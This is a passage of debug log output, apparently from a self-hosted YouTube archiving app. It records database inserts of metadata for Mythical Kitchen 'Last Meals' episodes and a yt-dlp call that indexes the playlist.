[1] 20:49:30.938 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=880.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-22 10:01:02Z], 1] 20:49:30.942 [debug] QUERY OK source="media_items" db=2.5ms idle=882.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Damiano David, the Eurovision winner for Italy and a member of Måneskin, eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Damiano's Last Meal\n0:18 Door-to-door Pillow Salesman\n1:20 Have You Thought About Your Last Meal Before?\n1:51 How Often Do You Think About Death?\n3:23 1st Course\n4:35 Damiano's In-N-Out Conspiracy\n5:24 Josh Practices Italian Slang\n6:55 Funny Little Fears\n9:50 Being a Rock God\n11:06 Creating Music In Between Relationships\n12:49 2nd Course\n14:35 Plug Your Merch (With Pesto)!\n15:28 Maneskin's Music Journey\n21:27 Will We See More Maneskin?\n22:01 3rd Course\n23:45 Damiano's Dream Restaurant\n24:09 Cooking For Dove Cameron\n29:59 Dealing With Fame\n31:55 4th Course\n32:48 A Number One Song Is Like Sex\n35:33 Obsessed With The New Album\n35:39 Memento Mori\n36:55 What Do You Think Happens When You Die?\n38:30 Lightning Round\n41:00 Damiano's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Måneskin’s Damiano David Eats His Last Meal", "2b259b57-b5b6-45d6-bc6b-1d61f1888a3c", "https://www.youtube.com/watch?v=ZECpNhIMRUE", false, "ZECpNhIMRUE", 2487, false, 98, "/downloads/Last Meals/2025-05-22 Måneskin’s Damiano David Eats His Last Meal/Måneskin’s Damiano David Eats His Last Meal [ZECpNhIMRUE].mp4", false, false, 1, [], 0, ~U[2025-05-22 10:01:02Z], ~U[2026-03-28 00:49:30Z], ~U[2026-03-28 00:49:30Z], "Today, Damiano David, the Eurovision winner for Italy and a member of Måneskin, eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Damiano's Last Meal\n0:18 Door-to-door Pillow Salesman\n1:20 Have You Thought About Your Last Meal Before?\n1:51 How Often Do You Think About Death?\n3:23 1st Course\n4:35 Damiano's In-N-Out Conspiracy\n5:24 Josh Practices Italian Slang\n6:55 Funny Little Fears\n9:50 Being a Rock God\n11:06 Creating Music In Between Relationships\n12:49 2nd Course\n14:35 Plug Your Merch (With Pesto)!\n15:28 Maneskin's Music Journey\n21:27 Will We See More Maneskin?\n22:01 3rd Course\n23:45 Damiano's Dream Restaurant\n24:09 Cooking For Dove Cameron\n29:59 Dealing With Fame\n31:55 4th Course\n32:48 A Number One Song Is Like Sex\n35:33 Obsessed With The New Album\n35:39 Memento Mori\n36:55 What Do You Think Happens When You Die?\n38:30 Lightning Round\n41:00 Damiano's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Måneskin’s Damiano David Eats His Last Meal", "https://www.youtube.com/watch?v=ZECpNhIMRUE", "ZECpNhIMRUE", 2487, false, "/downloads/Last Meals/2025-05-22 Måneskin’s Damiano David Eats His Last Meal/Måneskin’s Damiano David Eats His Last Meal [ZECpNhIMRUE].mp4", false, 1, ~U[2025-05-22 10:01:02Z]] 20:49:30.943 [debug] QUERY OK source="sources" db=0.3ms idle=750.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:30.944 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:49:30.944 [debug] QUERY OK source="media_items" db=0.4ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [113] 20:49:30.944 [info] Kicking off download for media item #113 (ZECpNhIMRUE) 20:49:30.948 [debug] QUERY OK source="tasks" db=0.2ms queue=0.1ms idle=4.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [112, 113, ~U[2026-03-28 00:49:30Z], ~U[2026-03-28 00:49:30Z]] 20:49:30.948 [debug] Current batch of media processed. Will check again in 1000ms 20:49:31.949 [debug] Current batch of media processed. Will check again in 1000ms 20:49:32.227 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/show/VLPLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN?sbp=KgsxZ2F2RWt4Q3NJSUAB --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/97/1a/971ad8a9d26e286e0c89b0160a02734402a1531c1178a6dacfb161a9fc59eb21.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:49:32.229 [debug] Gracefully stopping file follower 20:49:32.229 [debug] QUERY OK source="sources" db=0.1ms idle=172.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:49:32.230 [debug] QUERY OK source="sources" db=0.0ms idle=172.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.230 [debug] QUERY OK source="media_items" db=0.1ms idle=172.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-20 10:00:14Z], 1] 20:49:32.231 [debug] QUERY OK source="media_items" db=0.5ms idle=173.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Tom Segura eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Tom's Last Meal\n0:20 Call Him \"Dead Hand\"\n2:21 How To Deal With Hecklers\n3:24 Have You Thought About Your Last Meal Before?\n4:42 First Course\n5:55 Kids Are Expensive\n6:27 Bad Thoughts\n7:45 Rating Traumatic Experiences\n12:08 Working For America's Most Wanted\n13:45 2nd Course\n14:52 Hypothetical Country Star Responsible For Horrible Crimes\n16:01 Inappropriate Vietnam War Stories With Dad\n18:47 Bizzarely Loyal\n19:47 Jokes At The Funeral\n22:20 3rd Course\n23:35 Surviving Explosions In Peru\n27:40 It's A Bummer To Explain Jokes\n29:30 4th Course\n30:21 Not Wanting To Live Past 70\n31:30 Changing His Lifestyle \n34:45 Bert Kreischer Is A Unit\n36:41 5th Course\n37:15 \"The World Goes On\"\n38:51 Hiding YouTube From His Kids\n40:40 What Do You Think Happens When You Die?\n40:56 Lightning Round\n43:22 Tom's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Tom Segura Eats His Last Meal", "3b32cc30-efe5-45b2-8131-bf058c48de66", "https://www.youtube.com/watch?v=A1Ij6ypJQyY", false, "A1Ij6ypJQyY", 2633, false, 1, "/downloads/Last Meals/2025-05-20 Tom Segura Eats His Last Meal/Tom Segura Eats His Last Meal [A1Ij6ypJQyY].mp4", false, false, 1, [], 1, ~U[2025-05-20 10:00:14Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Tom Segura eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Tom's Last Meal\n0:20 Call Him \"Dead Hand\"\n2:21 How To Deal With Hecklers\n3:24 Have You Thought About Your Last Meal Before?\n4:42 First Course\n5:55 Kids Are Expensive\n6:27 Bad Thoughts\n7:45 Rating Traumatic Experiences\n12:08 Working For America's Most Wanted\n13:45 2nd Course\n14:52 Hypothetical Country Star Responsible For Horrible Crimes\n16:01 Inappropriate Vietnam War Stories With Dad\n18:47 Bizzarely Loyal\n19:47 Jokes At The Funeral\n22:20 3rd Course\n23:35 Surviving Explosions In Peru\n27:40 It's A Bummer To Explain Jokes\n29:30 4th Course\n30:21 Not Wanting To Live Past 70\n31:30 Changing His Lifestyle \n34:45 Bert Kreischer Is A Unit\n36:41 5th Course\n37:15 \"The World Goes On\"\n38:51 Hiding YouTube From His Kids\n40:40 What Do You Think Happens When You Die?\n40:56 Lightning Round\n43:22 Tom's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Tom Segura Eats His Last Meal", "https://www.youtube.com/watch?v=A1Ij6ypJQyY", "A1Ij6ypJQyY", 2633, false, "/downloads/Last Meals/2025-05-20 Tom Segura Eats His Last Meal/Tom Segura Eats His Last Meal [A1Ij6ypJQyY].mp4", false, 1, ~U[2025-05-20 10:00:14Z]] 20:49:32.231 [debug] QUERY OK source="sources" db=0.0ms idle=35.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.231 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-10 10:01:13Z], 1] 20:49:32.232 [debug] QUERY OK source="media_items" db=0.6ms idle=1.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, John Green eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 John's Last Meal\n0:25 You Take Boxing\n2:09 Both Green Brothers? In This Economy?\n2:45 How Often Do You Think About Death?\n3:51 Finding Love Through Boxing\n4:45 1st Course\n5:10 Getting Hot Sauce Through Security\n6:26 The Colors Of Falling In Love \n7:22 Adulthood Is Like A Zombie Virus\n9:23 My Subconcious Cries Out For A Sacrifice\n10:37 Stop Doom Scrolling & Start Tree-Hoping\n11:58 Everything Is Tuberculosis\n13:11 Tuberculosis Is Curable\n15:08 2nd Course\n15:53 Feeling 22\n17:40 How Is This Related To Tuberculosis?\n20:04 Meeting Henry\n22:46 3rd Course\n23:56 Trenchcoat Armor\n25:16 Adults Who Don't Give Up On You\n26:19 Faith, Community, & Third Spaces\n29:04 Your Pain Is Real\n31:19 AI Slop\n33:37 4th Course\n34:55 Last Meals Is REAL\n35:47 What's The Meaning Of Life?\n38:19 I Wish I Was A Better Chaplain\n39:24 What Do You Think Happens When You Die?\n40:11 Lightning Round\n44:25 John's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "John Green Eats His Last Meal", "7c7227ce-bf7d-41da-9486-cd06583c4f98", "https://www.youtube.com/watch?v=lTEhBL7CetU", false, "lTEhBL7CetU", 2741, false, 2, "/downloads/Last Meals/2025-06-10 John Green Eats His Last Meal/John Green Eats His Last Meal [lTEhBL7CetU].mp4", false, false, 1, [], 1, ~U[2025-06-10 10:01:13Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, John Green eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 John's Last Meal\n0:25 You Take Boxing\n2:09 Both Green Brothers? In This Economy?\n2:45 How Often Do You Think About Death?\n3:51 Finding Love Through Boxing\n4:45 1st Course\n5:10 Getting Hot Sauce Through Security\n6:26 The Colors Of Falling In Love \n7:22 Adulthood Is Like A Zombie Virus\n9:23 My Subconcious Cries Out For A Sacrifice\n10:37 Stop Doom Scrolling & Start Tree-Hoping\n11:58 Everything Is Tuberculosis\n13:11 Tuberculosis Is Curable\n15:08 2nd Course\n15:53 Feeling 22\n17:40 How Is This Related To Tuberculosis?\n20:04 Meeting Henry\n22:46 3rd Course\n23:56 Trenchcoat Armor\n25:16 Adults Who Don't Give Up On You\n26:19 Faith, Community, & Third Spaces\n29:04 Your Pain Is Real\n31:19 AI Slop\n33:37 4th Course\n34:55 Last Meals Is REAL\n35:47 What's The Meaning Of Life?\n38:19 I Wish I Was A Better Chaplain\n39:24 What Do You Think Happens When You Die?\n40:11 Lightning Round\n44:25 John's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "John Green Eats His Last Meal", "https://www.youtube.com/watch?v=lTEhBL7CetU", "lTEhBL7CetU", 2741, false, "/downloads/Last Meals/2025-06-10 John Green Eats His Last Meal/John Green Eats His Last Meal [lTEhBL7CetU].mp4", false, 1, ~U[2025-06-10 10:01:13Z]] 20:49:32.232 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.233 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-04-11 10:00:26Z], 1] 20:49:32.235 [debug] QUERY OK source="media_items" db=2.1ms idle=1.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Ben Schwartz's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - 